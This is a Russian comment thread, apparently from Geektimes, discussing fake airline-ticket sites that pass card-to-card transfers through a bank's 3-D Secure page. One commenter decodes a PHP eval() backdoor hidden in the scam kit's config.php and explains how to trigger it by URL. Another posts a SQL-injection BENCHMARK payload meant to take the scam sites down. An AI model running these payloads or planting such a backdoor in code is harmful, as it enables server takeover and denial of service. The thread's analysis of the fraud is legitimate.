      Как уже было сказано — у авиабилетов и в нормальных условиях бардак — цены различные, куча сайтов с предложениями — очень удобно маскироваться. Ещё один бонус — иногда билеты покупают заранее (перед НГ будет проблема, поищу сейчас подешевле) и что билетов нет узнает только через месяц-другой. Тут, скорее, не смартфоны, а отели ближе — букинг.рф (если его ещё нет), который будет парсить сторонние сайты и отдавать электронное бронирование. Но тут и минус (как и у смартов) — билеты — это одно, а эти требуют фотки/текст описания/всякие параметры. Ж/д билеты похожи.
      xbox, интересно, а ж/д (автобусные, водного транспорта) билеты так не продают? Оно ведь наиболее близко…


      1. xbox
        15.11.2016 10:54

        интересно, а ж/д (автобусные, водного транспорта) билеты так не продают? Оно ведь наиболее близко…

        Сообщения на форумах, про то, что ж/д билеты таким же образом планируется продавать я встречал, но хотя бы один подобный сайт ни разу не видел. С точки зрения создания сайта затраты примерно одинаковые, но привлечь покупателей намного сложней. Цены на внутренние жд билеты, если я не ошибаюсь, у всех примерно одинаковые. Цена отличается только комиссией за продажу билета. Также РЖД фактически монополист и найти альтернативный маршрут обычно невозможно. Поэтому большинство покупателей жд билетов покупают их напрямую у ржд, остальные у нескольких известных компаний-посредников.


  1. vkegdzoy
    13.11.2016 21:51

    Ну что ребят, приехали. Банк из топ 10 помогает воровать ваши деньги. Это конечно весело, но явно не для жителей РФ.


    1. MxMaks
      13.11.2016 21:56
      +7

      Следующий обзор рынка СМС подписок, просветит вас, что в «переливании» денег замешаны не только Банки)


      1. sumanai
        13.11.2016 23:05
        +4

        С СМС подписками связаны по моему вообще все операторы сотовой связи.


        1. Syrex
          14.11.2016 11:20
          +1

          Кроме, наверно, Йоты. У нее вообще дополнительные услуги отсутствуют как класс. Абонентская плата и пакет минут-смс-интернет, пакет превысил — плати поминутно или докупай, никаких дополнительных услуг нет


          1. dimm_ddr
            14.11.2016 16:38
            +1

            А йота разве не дочерняя компания одного из трех наших главных? Я могу ошибаться, но это же вроде часть мегафона сейчас?


            1. RussDragon
              14.11.2016 16:40

              Насколько я знаю, Йота использует инфраструктуру Мегафона, но не принадлежит ему.


              1. kmx
                14.11.2016 17:19
                +2

                1. RussDragon
                  14.11.2016 17:45

                  Ну, видимо, память подводит. Спасибо ;)


        1. zedalert
          14.11.2016 12:53
          +1

          А с выводом денег в основном билайн.


  1. trublast
    13.11.2016 22:43
    +2

    Вообще не ввожу данные карты ни на каких сайтах, кроме сайтов банков (если приходится все таки — ввожу данные виртуальной одноразовой карты). Как правило магазины и всякие другие сервисы, требующие оплату, отправляют для платежа на сайт банка, с которым заключен договор по карточным платежам. Довольно часто это известные банки, мне постоянно попадаются Газпром и Сбер. В этом случае я почти всегда проверяю не только домен у сайта, а поле «Организация» у сертификата (благо это можно сделать в 2 клика). Хотя для того же Сбера можно просто домен прочитать (с учетом того, что я отличаю таки sberbank.ru от sberdank.ru) и убедаться, что «замочек зелененький». С Газпромом можно уже глаза сломать. Вообще неплохо было бы, чтобы для PCI DSS требовался EV сертификат, глазами бы смотреть было удобнее. Но к сожалению…

    По этой причине (невозможно проверить, кому уйдут данные) ненавижу сайты/магазины, которые встраивают платежную форму фреймом. В этом случае приходится лезть выяснять, что это действительно фрейм, а не форма ввода, и что подгружается он с сайта банка, не откуда попало, и что у сайта банка сертификат соответствующего уровня. Вот мне как пользователю больше делать нечего, как в код лезть. А не лезть — себе дороже может получиться (об этом и статья).

    Яркий пример — личный кабинет Ростелекома. Ну вот зачем они фрейм вкорячили — ума не приложу. Первый раз пришлось бродить и проверять, действительно ли у них фрейм сбербанка, или что-то свое вкорячили.


    1. frozenstorm
      13.11.2016 22:50
      +1

      Я думаю, 9 из 10 человек даже не задумаются проверить. А если и задумаются, то им ещё надо лезть в гугл, чтобы прочитать как это сделать


  1. buen0s
    13.11.2016 23:05
    +6

    В строке, которую вы привели в «головоломке для хакеров», ничего сложного — там стандартный base64

    if(isset($_REQUEST[«dle_exec»])){
    eval($_REQUEST[«dle_exec»]);
    exit;
    }


    1. sumanai
      13.11.2016 23:15
      +8

      За 25 тысяч получаешь сайт с эксплоитом?


      1. zhigalin
        14.11.2016 18:45

        ну уж sumanai…
        -Это не настоящий кокс, Джонни!


    1. xbox
      13.11.2016 23:28
      +8

      Спасибо, что расшифровали.

      Поясню, как я понимаю назначение этого блока. Поправьте, если я не прав.

      Если при обращении к сайту в запросе есть параметр dle_exec, то выполнить весь код, который указан в значении этого параметра.

      Собака "@" в коде нужна для подавления возможных ошибок, — при ошибке в коде программа не останавливается, а сообщения об ошибке не выводятся на экран и в лог.

      Достаточно обратится по какому-то адресу с запросом типа
      fakeavia.ru/somepage?dle_exec=любой_исполняемый_код_указанный_прямо_в_этой_строке

      и весь код, который может быть любым, будет выполнен на сервере. Т.е., например, можно прочитать содержимое базы данных, создать, удалить файл итп.

      Т.е., получается, что все эти мошеннические сайты содержат троян от разработчика?
      Если это так, то думаю, даже на «теневых форумах» покупатели исходников должны высказать свое отношение к разработчику.


      1. SamDark
        13.11.2016 23:55
        +4

        Хм… это ж можно добавить логирование входов в админку и выследить конкретных поганцев. Или просто снести к чертям все такие сайты ботом (это, конечно, пофиксят).


        1. ingumsky
          14.11.2016 00:00
          +1

          Только это надо делать сейчас, пока они не прочухали и не добрались до комментариев на ГТ. Автор-то наверняка ознакомится в самые ближайшие дни и внесёт в код изменения, а до тех, кто использует его код, информация может доходить дольше.


          1. tmin10
            14.11.2016 22:47

            Вообще, это подмочит репутацию бравого фейкодела, такой бэкдор в «коммерческом» проекте…


            1. dimm_ddr
              15.11.2016 09:54

              Поменяет ник на новый и бравые скрипткидди радостно продолжат покупать поделие и дальше.


      1. Pakos
        14.11.2016 15:48

        Вор у вора дубинку украл… а вот чей это «вклад» — авторов движка или его крякеров — вопрос (навряд ли автор авиасайта был в курсе, если там пишут «код — костыль на костыле).


        1. xbox
          14.11.2016 16:14

          Движок на этих «авиасайтах» используется DataLife Engine (DLE), нулёная версия.
          Все представленные в описании файлы, в этот движок не входят, — эти файлы создаются специально для мошеннических сайтов и встраиваются в стандартный движок DLE.


          1. Pakos
            14.11.2016 16:30

            Т.е. вот это с «dle_exec» — это из приложенных файлов, а не из основного кода движка? Тогда странное название(похожее на стандартное), могли бы и lgrjegjreg_fewkljwelfj назвать.


            1. dimm_ddr
              14.11.2016 16:41

              Может суть именно в похожести на стандартное?


            1. xbox
              14.11.2016 17:18

              «dle_exec» — это было в файле config.php.
              Конфигурационный файл config.php содержит массив с ~170 разными параметрами, такими как кодировка, ключевые слова, время, язык итп.

              Файл этот, вероятно, входит в стандартную поставку движка DLE, но ничего не мешает в него добавить произвольное количество своих дополнительных параметров.

              Параметр из этого файла может быть получен из любого другого программного файла на хостинге. Какие-то сохраненные параметры из этого файла используются, а какие-то могут никогда не использоваться.

              Обычно значение параметра получается по имени. Например, используемые языки 'langs' => 'Russian'. В случае, когда имя параметра само представляет из себя длинную зашифрованную строку, по имени к нему обратится проблематично. Но есть другой способ, — выбрать из массива все параметры, значения которых равны «456». А потом среди выбранных значений получить имя параметра и как-то его использовать. В коде это будет выглядеть так, что ничего подозрительного сразу не заметишь. Например, — найти в конфиге что-то равное 456 и вывести имя первого найденного параметра на экран.

              Также в конфиге прямо перед зашифрованной строкой был еще такой параметр '123' => '123'. Скорее всего такой параметр нужен для предварительной проверки того, что сайт содержит закладку. Иной смысл такого параметра трудно предположить.

              У меня есть только ограниченное количество файлов «авиасайта». Где и как использовалась закладка, я не знаю. В тех файлах, которые есть, точное место не нашел. Но, в ряд ли, эта зашифрованная закладка с ~трояном просто так в конфиг попала. «Совпадение? -Не думаю.»


  1. DmitrySpb79
    13.11.2016 23:49
    +1

    Автору спасибо за разбор, интересно. Разослал знакомым ссылку в качестве предупреждения :) Скоро Новый год, многие будут билеты покупать.


  1. frozenstorm
    13.11.2016 23:49
    +2

    По поводу слова «Вбив», в первой отладочной информации. Это не опечатка. Так на «теневых» форумах называется, когда человек вбил свои данные карты и у него успешно списались деньги или когда мошенник вбил данные карты (украденные фишингом) и успешно оплатил что то


  1. Zidian
    14.11.2016 00:07
    +2

    <input type="hidden" name="DESC" id="DESC" value=""</input>
    
    

    Профессиональненько, однако.


  1. stanislavskijvlad
    14.11.2016 00:18
    +2

    человек, который заморочился…
    большой труд, однако.


  1. kryvichh
    14.11.2016 00:22
    +4

    Кастую повышение рейта Гиктаймс на запрос «фейк авиабилеты». :)


    1. vlivyur
      14.11.2016 16:58
      +3

      Дешёвые авиабилеты.


  1. KorDen32
    14.11.2016 00:37

    Дизайн страницы «оплаты» скопирован с реальной страницы оплаты через dengionline, если не путаю.


  1. superyarik
    14.11.2016 01:08

    как всё-таки подменялся адрес возврата? он заранее передавался параметром типа «описание платежа»?


    1. xmax
      14.11.2016 12:57
      +1

      Думаю, вообще в одном из передаваемых полей при платеже. И если 3ds, то туда отправляется.
      Ибо страница банка должна знать, куда отправлять клиента при успешной оплате и при ошибке. А просто отправить на домен, от куда пришел — мало данных в итоге.


  1. greabock
    14.11.2016 01:18
    +1

    Мама, я в телевизоре


    1. Vilgelm
      14.11.2016 08:59

      А эксплоит то зачем понадобился?


  1. mrcatmann
    14.11.2016 08:31
    +3

    Судя по mysql, либо этот кулхацкер первый день в пхп, либо скрипт реально старый.
    Ах да, можно было так просто взять и повалить все одной простейшей sql-инъекцией?


  1. slavius
    14.11.2016 09:32

    А как добыли payp2p.php? Этого «один из пользователей Geektimes» не раскрыл?;)


  1. paluke
    14.11.2016 09:32
    +2

    Не проходит платеж при подмене страницы возврата? Ну очевидно, при обращении к этой странице (https://3ds.payment.ru/cgi-bin/cgi_link) производятся действия, необходимые для завершения операции. И естественно подмененная страница на мошенническом сайте должна с помощью curl обратиться к оригинальной странице.


    1. paluke
      14.11.2016 09:43

      Вот кусочек api, связанный с 3-d secure: http://payture.com/integration/api/3-d-secure/
      Там в ответе еще и пара параметров приходит, их надо серверным скриптом на на оригинальную страницу отправить.


  1. chuko
    14.11.2016 10:30

    А меня вот интересует, почему карты, вроде как защищенные всякими verifed by visa и 3dsecure, проскакивают без подтверждения по смс и через сайт банка нанекоторых сайтах, например, godaddy, ГОСУСЛУГИ, aliexpress???


    1. zikasak
      14.11.2016 10:44
      +3

      потому что магазин не запросил 3d secure


    1. Mel
      14.11.2016 11:24

      у гоудяди (по крайней мере лет 5 назад) вобще даже без cvc деньги списывались, просто по номеру карты и сроку действия. Помню для меня это шок был.


      1. Vilgelm
        14.11.2016 12:02

        У многих американских магазинов так, Cabelas.com еще пару лет назад. Просто у них биллинги старые, а зачем что-то менять если и так работает.


    1. xsash
      14.11.2016 11:45
      +1

      Все зависит от настроек и ответственности продавца

      Например, емнп, в магните не запрашивается ПИН от карты при сумме платежа менее 1000.

      Проскакивала статья, где подробно описывались такие механизмы. Там же говорилось, что если точка оснащена терминалом с только магнитным считывателем, то при оплате левой картой и при подобных разборках — возмещение лежит на продавце. Если оплата производилась по чипу — то ответственность по возмещению ложится на банк.
      Это при условии, что было доказана невиновность картодержателя.


      1. xmax
        14.11.2016 13:38

        Про магнит: наверно зависит от банка. Сбербанк — всегда пин, еще не было, что б без пина платил физически картой. Балтийский — до 1к без пина. Рокет бесконтактно до 1к без пина.


  1. erkesh
    14.11.2016 11:06

    Ну допустим, удалось взломщикам перевести на свою карту деньги? Но как они смогут их обналичить бесследно. Ведь все банковские операции фиксируются. Ведь все на виду. Разве не так? Или я что-то недопонимаю, или банкиры недоговаривают


    1. xsash
      14.11.2016 11:39

      Дропы. Люди которые в темную (обманом) либо в явном виде идут и светят свои паспорта и лица, переводят бОльший процент «работодателю». Их обычно и берут в оборот органы, редко когда можно выйти на дроповода или верхушку такой группы


    1. xsash
      14.11.2016 11:39

      /дубль


    1. Staschik
      14.11.2016 11:50

      Первое, что пришло в голову. Заказать карту Яндекс Деньги или Киви, паспорт спрашивают только на почте при получении письма с картой. Снимать в банкомате в другой части города.


      1. dobergroup
        14.11.2016 20:51

        Так и с любой другой картой паспорт спрашивают один раз.
        Или на почте можно легко без паспорта/прав получить? (я действительно не в курсе)


    1. Vilgelm
      14.11.2016 12:10

      В статье или где-то в теме по продаже скрипта шла речь о сливе на Visa Virtual, там все просто: покупаем сканы паспортов и регаем на них QIWI или просто покупаем готовые QIWI. С QIWI деньги можно хоть в биткоины слить, хотя обычно все куда проще: берутся карты на дропов (люди, которые сознательно за определенную сумму оформляют на себя карты или у которых их получают обманом), деньги сливаются на них, дальше либо самолично налятся в банкоматах или сами дропы их налят (хотя тут вариантов вывода уже много). Да и вообще, я видел предложения по оформлению всяких карт типа Momentum от Сбербанка или Кукурузы на вообще левые данные (тут очевидно через сотрудников).


  1. MxMaks
    14.11.2016 11:43

    Ежедневно бесследно обналичиваются миллионы рублей… Из банков, фирм-однодневок вымываются миллионы капитала. Причем чисто хакерских денег — доли процента в ежедневном обороте.


  1. KonstantinSoloviov
    14.11.2016 13:38
    +3

    Это только начало. Сейчас банкиры как с цепи сорвались все хотят делать переводы в интернете: «как же у того банка есть, а у нас нет» и причем именно с возможность делать переводы с чужой и/или на чужую карту. Особо выдающиеся, не освоив даже эмитентский 3ds, хотят что бы с их карт была возможность переводов. То есть готовы даже собственных клиентов подставлять. Это же easymoney — не делая фактически ничего (налика нет, инкассации нет, с ТСП возиться не нужно) иметь свой процентик. Пока доходы оправдывают риск ситуация не изменится, будет только хуже.

    Плюс большая проблема с образованностью населения. Вот сколько человек обратили внимание на странные слова «CARD2CARD» в SMS? Да и если разобраться сама SMSка — для чего она? Тот же Сбер целые простыни присылает: ИНН, БИК, счет — это зачем? Не затем ли что бы проверить кому платеж-то собственно?
    Думаю, что тут еще расчет на психологию — любители халявки, как же — билеты по дешевке, как раз на такие простые трюки и попадаются.

    Покопитаню:
    1. Для интернет платежей использовать специальные, лучше виртуальные карты, а не ту на которой последние кровные лежат.
    2. Переводы делать только на сайте своего банка и всегда проверять валидность сертификата сайта, Банкомат банка стоящий в отделении банка — тоже вариант.
    3. Надо все ж таки смотреть на весь текст SMSки, а не только на одноразовый пароль!

    «CARD2CARD» — что бы в одну смс-ку влезло — это ж какая экономия для банка!


    1. MxMaks
      14.11.2016 14:52
      +1

      Сейчас все с цепи сорвались и даже соц сети


    1. vlivyur
      14.11.2016 17:03
      +1

      2. И даже в этом случае банкомат надо проверять на наличие посторонних предметов.


  1. mxms
    14.11.2016 19:37
    +2

    Совершенно недопустимое отношение банка с настройкам своего софта. Проблема со встраиванием в iframe решается добавлением одного (!) HTTP заголовка X-Frame-Options.
    Однако воз у них и ныне там.


    root@beta:/home/xm # curl -I https://3ds.payment.ru
    HTTP/1.1 200 OK
    Date: Mon, 14 Nov 2016 16:26:14 GMT
    Server: Apache
    Last-Modified: Tue, 06 Mar 2012 07:27:26 GMT
    Accept-Ranges: bytes
    Content-Length: 1076
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Content-Type: text/html


    1. sumanai
      14.11.2016 20:01

      > Проблема со встраиванием в iframe
      Так ведь многие легальные сайты используют встраивание в iframe.


      1. mxms
        14.11.2016 20:18
        +2

        Ну вот к чему всё это и приводит.


    1. xbox
      14.11.2016 20:25
      +1

      Так сам Промсвзяьбанк на своем основном сайте https://www.psbank.ru/Personal/eCommerce/Card2Card отображает форму с 3ds.payment.ru с помощью iframe. Про домен 3ds.payment.ru мало кто из клиентов банка вообще догадывается. Если они такой заголовок поставят, то сами себе и проблемы могут устроить. Как минимум, придется в заголовке указывать доверенные домены, которые могут страницу во фрейме показывать. А эту опцию некоторые браузеры могут не поддерживать.

      Касательно конкретного скрипта, описываемого в статье, — он не использует iframe, а обращается к странице с формой оплаты напрямую.


      1. mxms
        14.11.2016 20:30
        +1

        А, спасибо, теперь увидел что iframe это с самого сайта PSB.


  1. izuware
    14.11.2016 22:20
    +1

    Кое как дочитал, почти без перескакиваний )) Тема на самом деле гораздо древнее чем авиабилеты. Утягивание со страниц сторонних сайтов интересного контента используется практически повсеместно. Парсить платежный шлюз или сайт с погодой — вопрос личной этики, не больше. Это я к тому что сколько ещё обыденных вещей используется не по задуманному назначению.

    //забираем страничку с сайта
    $html = file_get_contents($sto_html);
    
    //вырезаем оттель скрипты
    preg_match_all('|<script[^>]*?>(.*?)</script>|sei', $html, $arr);
    


  1. ValdikSS
    14.11.2016 22:23

    но если обратить внимание на версию Firefox, которую «альтернативный» скрипт payment.php выдает в качестве идентификатора браузера («Firefox/3.0.3»), можно предположить, что он был написан как минимум несколько лет назад и, вероятно, сервис перевода с карты на карту Промсвязьбанка использовался подобными скриптами годами
    Переводы с карты на карту появились только в начале 2012 года у некоторых банках, а массово стали появляться только к концу того года. В ПСБ переводы появились где-то в 2013.


    1. xbox
      14.11.2016 23:27
      +1

      Я не возражаю.
      2-3 года тоже ведь подходят под определение «несколько лет назад».
      А слова «возможно совпадение» и «можно предположить» показывают, что это только попытка угадать возможный возраст скрипта, а не однозначное удтверждение.

      Проверил на странице с формой на сайте 3ds.payment.ru. Многие CSS файлы имеют дату примерно:
      Last-Modified:"Thu, 13 Mar 2014 07:15:27 GMT"

      Когда появляется какой-то новый, сырой, еще не обкатанный продукт, то существует большая вероятность наличия в нем слабых мест. Поэтому, теоретически можно начинать им «пользоваться» сразу после запуска.


  1. dulepov
    16.11.2016 11:10
    +2

    Меня больше всего удивило отсутствие элементарной защиты от sql injection. При желании такой сайт положить можно легче лёгкого через тот же payp2p.php, использовав


    ' and BENCHMARK(10000000,BENCHMARK(10000000,md5(now())))

    Либо автор скрипта – полный лох, либо понадеялся на то, что никто код не увидит и не попробует использовать отсутствие mysql_real_escape_string(). Сайты на расшареном хостинге. Конечно, пострадают и другие, но админы наверняка заметят, и сайт отключат.


    Вроде, не новичок, но такая странная безалаберность...


  1. naghtigall
    16.11.2016 11:18

    Банки не всегда сами своими силами делают свои онлайн-системы. А делают какие-нибудь подрядчики, которые сдали проект и забыли про него. А банкам «влом» доплачивать, чтобы делать какие-нибудь обновления и тем более анализ багов. Вот и получаются такие случаи.


    1. pacahon
      16.11.2016 12:39
      +2

      Если я не ошибаюсь, то здесь не проблема конкретного банка, а самой схемы оплаты в целом. Т.е. как таковой защиты нет, только разве что банки будут объяснять пользователям, нормально ли вообще производить перевод с карты на карту, когда оплачиваешь услугу на сайте (например, при покупке авиабилета).


  1. rst
    17.11.2016 10:50

    Касательно защиты.
    Она реализуется элементарно, средствами банка и 3ДС через CORS Policy.
    CORS на целевом сайте определяет с какого адреса или страницы доступны отправки пост-запросов. Проблема в том, что реферер, технически, можно убрать, в конце концов, отправляя с ссл-сайта. В случае CORS, браузер сам откажется отправлять данные, если сайт-приемник указал — я принимаю с адресов http://mysite.com/card.php, а отправка идет с другого.

    Таким образом, пути следующие:
    1) для того, чтоб начать принимать средства, владелец карты должен получить адрес для отправки платежных данных. Этот адрес должен быть уникальный для каждой карты.
    2) При получении адреса, пользователь должен указать урл, с которого эти данные будут отправляться.
    3) при заходе на урл из п.1, он отправляет CORS заголовок, что данные принимает только с урла из п.2
    4) А персонал банка, в свою очередь, сможет проверить урлы, которые отправлены в заявку на подключение онлайн р2р.
    То же самое касается 3ДС-шлюза, он должен, используя CORS, принимать данные только из согласованных с банком урлов.

    Ну и самое главное — а куда черт побери скоринг и антифрод смотрят?


    1. paluke
      17.11.2016 16:19

      С сайтом банка, на котором форма для P2P перевода, общается исключительно скрипт. Можно конечно ограничить количество запросов с одного ip. Но черт возьми, вдруг это какой-то провайдер, в связи с дефицитом ipv4 адресов, посадил всех своих пользователей за nat?
      Страничка на сайте другого банка, где проверяется 3ds, получает url, на который вернуться после проверки, из параметра post запроса. Иметь всем, кто проверяет 3ds, список всех легальных адресов платежных шлюзов — сомнительная идея. Собственно стандартный протокол для проверки 3ds и был придуман для того, чтобы разработчику платежного шлюза не надо было заключать договоры с каждым банком в мире, чтобы иметь возможность принимать оплату по его картам.


  1. dobergroup
    17.11.2016 11:20
    +2

    Ну и самое главное — а куда черт побери скоринг и антифрод смотрят?


    Тут большой вопрос, несет ли банк убытки.